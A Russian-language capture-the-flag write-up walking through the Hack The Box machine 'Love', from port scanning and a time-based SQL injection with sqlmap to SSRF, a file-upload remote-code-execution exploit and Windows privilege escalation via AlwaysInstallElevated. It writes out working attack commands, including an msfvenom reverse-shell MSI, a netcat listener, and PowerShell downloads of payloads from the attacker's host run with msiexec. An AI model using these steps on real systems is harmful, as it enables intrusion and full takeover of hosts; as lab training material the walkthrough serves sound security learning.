Компрометация хоста и повышение привилегии

Компрометация хоста и повышение привилегии

В данной статье мы рассмотрим подделку серверных запросов (SSRF) применяемую для компрометации хоста. Так же мы сделаем попытку изучить опцию AlwaysInstallElevated применяемую для повыше­ния при­виле­гий.Для этого нам понадобится машина низ­кого уров­ня слож­ности под наз­вани­ем Love с пло­щад­ки Hack The Box

Рекомендуется подключаться к машинам с HTB только через VPN. Не делайте этого с компьютеров, на которых у вас есть важные данные, так как вы окажетесь в общей сети с другими участниками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

Ад­рес машины — 10.10.10.239, добав­ляем его в /etc/hosts.

10.10.10.239 love.htb

И ска­ниру­ем пор­ты.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1
 
Результат работы скрипта   Компрометация хоста и повышение привилегии
 
Итоги работы скрипта
 

Ви­дим мно­жес­тво откры­тых пор­тов и работа­ющих на них служб:

  • пор­ты 80, 5000 — веб‑сер­вер Apache 2.4.46;
  • порт 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC);
  • порт 139 — служ­ба имен NetBIOS;
  • порт 443 — веб‑сер­вер Apache 2.4.46 + OpenSSL 1.1.1j;
  • порт 445 — служ­ба SMB;
  • порт 3306 — СУБД MySQL;
  • порт 5040 — неиз­вес­тно;
  • пор­ты 5985, 5986 — служ­ба уда­лен­ного управле­ния Windows (WinRM).

Прежде всего, давайте проверим, что нам может дать SMB (команда smbmap -H love.htb), но для анонимов ничего не доступно. Поэтому перейдем к Сети. При сканировании порта 443 мы получили информацию из сертификата, из которого мы узнаем о другом сайте: staging.love.htb. Мы также добавляем этот домен в / etc / hosts.

10.10.10.239 staging.htb
 

Теперь давайте внимательно посмотрим на оба сайта, чтобы найти точки входа, имена пользователей и другую важную информацию. Сайт love.htb приветствует нас формой авторизации, но мы знаем об используемой технологии — Voting System.

Компрометация хоста и повышение привилегии

Форма авторизации love.htb

ТОЧКА ВХОДА

Voting System — это простая система голосования, написанная на PHP. Для этого обязательно должны быть готовые эксплойты. Запускаем searchsploit из Kali Linux и находим сразу несколько.

Компрометация хоста и повышение привилегии

Поиск эксплоитов с помощью searchsploit

Нас инте­ресу­ют четыре пос­ледних экс­пло­ита:

  1. Пер­вый экс­плу­ати­рует SQL-инъ­екцию для обхо­да авто­риза­ции.
  2. Вто­рой даст уда­лен­ное выпол­нение кода через заг­рузку фай­лов, одна­ко мы дол­жны быть авто­ризо­ваны в сис­теме.
  3. Пред­послед­ний экс­пло­ит даст уда­лен­ное выпол­нение кода без авто­риза­ции.
  4. Пос­ледний — Time based SQL-инъ­екция, тоже без авто­риза­ции.

Для начала попробуем эксплойты, не требующие авторизации. Самый опасный — это RCE. Как указано в описании, мы можем загрузить файл через /admin/candidates_add.php без авторизации и получить доступ к файлу в каталоге изображений, но этот эксплойт не сработал.

Запрос загрузки файла

Компрометация хоста и повышение привилегии

Запрос к загруженному файлу

Опция обходной аутентификации тоже не работает, но опция с Time Based SQL-инъ­екци­ей оказалась рабочей. Мы сохраняем запрос во время авторизации в файл (в моем случае req.r) и передаем его sqlmap, как указано в описании эксплойта.

Запрос при авторизации

sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter

Компрометация хоста и повышение привилегии

Вывод sqlmap

Да­лее потихонь­ку вытас­кива­ем таб­лицы при поддержке того же sqlmap:

sqlmap --level=1 --risk=3 -r req.r --tables

Но поскольку это Time Based SQLi, это займет много времени, поэтому пока sqlmap работает, мы можем протестировать другой сайт. На странице Demo по адресу http: //staging.love.htb есть служба анализа файлов.

Компрометация хоста и повышение привилегии

Форма анализа файлов

С целью про­вер­ки сер­виса откро­ем лис­тенер и ука­жем в фор­ме принадлежащий нам IP. И сра­зу примем отклик.

Компрометация хоста и повышение привилегии

Отклик на локальный сервер

С такими сервисами стоит проверить уязвимость SSRF. SSRF — это атака на сервер, которая позволяет злоумышленнику отправлять запросы от имени взломанного хоста. SSRF можно использовать в DoS-кампаниях, чтобы скрыть истинный источник атаки. Таким образом, уязвимый хост выступает в роли прокси-сервера. Для теста SSRF вводим адрес 127.0.0.1 и получаем известную форму авторизации.

Компрометация хоста и повышение привилегии

Тестирование сервиса на наличие SSRF

Так. Ну что ж SSRF присутствует. Только как она сможет нам помочь? Например, мы можем сканировать доступные порты для локального хоста, а также просматривать службы, работающие через HTTP. Во время сканирования порта мы получили ответ Forbidden от службы, отвечающей за порт 5000. Давайте еще раз посмотрим, используя наш «прокси».

Компрометация хоста и повышение привилегии

Сервис на порте 5000

В итоге у нас появился сервис, в котором мы можем шпионить за паролем администратора, а затем войти в систему по адресу http: //love.htb/admin/.

Компрометация хоста и повышение привилегии

Панель администратора Voting System

ТОЧКА ОПОРЫ

Поскольку у нас есть учетные данные, нам нужно проверить последний эксплойт, который позволяет удаленное выполнение кода через загрузку файла. Но прежде чем мы начнем, давайте взглянем на исходный код эксплойта.

Компрометация хоста и повышение привилегии

Исходный код эксплоита

Эксплойт принуждён активизировать соединение с указанным (локальным IP) адресом и портом. Но сначала вам нужно создать лис­тенер, который будет принимать это соединение. В таких случаях я использую rlwrap — удобную оболочку с историей команд. В качестве лис­тенера возьмем хорошо известный netcat.

apt install rlwrap

rlwrap nc -lvp [port]

Потом нам следует ввести адрес и порт листенера в строках 15 и 16 кода, адрес атакованного хоста в строке 12 и имя пользователя и пароль в строках 13 и 14. Найдите URL-адрес в строках 19–22. В нашем случае на сайте нет каталога votesystem, поэтому его тоже нужно удалить в коде. Ниже приведен модифицированный код эксплойта.

Измененный код эксплоита

И пос­ле выпол­нения получа­ем бэк­коннект.

Выполнение эксплоита

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь же, когда у нас есть доступ к хосту, нам необходимо собрать данные. Существует множество источников информации, и в этих случаях полезны сценарии PEASS, которые проверяют их все автоматически. Загрузим скрипт для Windows на localhost.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe

Сейчас нам нужно загрузить его на удаленный хост. В каталоге со сценарием на локальном компьютере запустим простой веб-сервер с использованием python. После выполнения этой команды веб-сервер будет прослушивать порт 8000.

python3 -m http.server

А теперь, используя тот же PowerShell wget на целевой машине, загрузите скрипт с локального на удаленный хост. После загрузки нужно запустить скрипт.

powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe

C:\Windows\Temp\wpeas.exe

В выводе WinPEAS вы можете обратить внимание на параметр UAC, историю команд PowerShell и, что наиболее важно, параметр AlwaysInstallElevated.

UAC Status

PowerShell Settings

Checking AlwaysInstallElevated

Этот параметр указывает, что каждый файл MSI должен быть установлен с повышенными привилегиями (NT AUTHORITY \ SYSTEM). Следовательно, после создания и загрузки такого файла вы можете выполнять действия от имени системы даже для непривилегированного пользователя.

Создадим MSI-файл с реверс‑шел­лом. В этом нам может помочь фреймворк Metasploit, а именно модуль msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi

Генерирование нагрузки

Сейчас запустим многофункциональный листенер в Metasploit. За это отвечает модуль обработчика, которому необходимо знать тип нагрузки, а также локальный адрес и порт, на котором вам нужно принять соединение.

handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321

Создание листенера

Загружаем файл .msi так же, как WinPEAS, а затем запускаем его. Через несколько секунд мы получаем новую сессию Metasploit.

powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\Windows\Temp\r.msi
msiexec /quiet /qn /i C:\Windows\Temp\r.msi
 
 
Флаг рута

Итог

 
Итак мы добились того чего хотеди. Мы зах­ватили машину а также име­ем над ней пол­ный кон­троль.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.